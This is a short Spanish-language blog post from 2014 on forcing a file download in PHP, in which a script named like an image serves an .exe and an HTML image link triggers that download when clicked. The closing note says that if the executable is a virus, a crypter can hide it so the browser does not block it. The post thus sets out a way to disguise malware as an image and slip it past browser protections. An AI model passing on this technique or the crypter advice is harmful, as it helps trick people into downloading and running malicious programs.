martes, 1 de julio de 2014

Forzar la descarga de un archivo en PHP

Bibliografia: http://www.italoestrada.com/2012/01/php-forzar-una-imagen-o-archivo-en-un.html

1. Comencemos a crear un archivo imagen.php con el siguiente codigo:


<?php
header('Content-disposition: attachment; filename=Flores.exe');
header('application/octet-stream');
readfile('flor.exe');
?>

NOTA: esto este codigo es para una imagen que descarga un .exe y asi tambien les dejo la liga donde hay varios MIME de archivo.
http://webdesign.about.com/od/multimedia/a/mime-types-by-content-type.htm

2. Guardamos este archivo en el servidor web
3. Ahora nos vamos a nuestro archivo .html y escribimos este codigo:


<p>
<a href="http://direccionweb/imagen.php" target="_blank"><img src="http://direccionweb/archivo.jpg" border="0"></a>
</p>





4.Guardamos los cambios y visualizamos en nuestro navegador y vemos que en el momento que le damos click encima de la imagen se descarga el .exe



NOTA: Si tu exe es un virus es seguro que el navegador lo bloquerar para eso se me ocurre una idea como un crypter para poderlo esconder y que pase sin problemas.



No hay comentarios.:

Publicar un comentario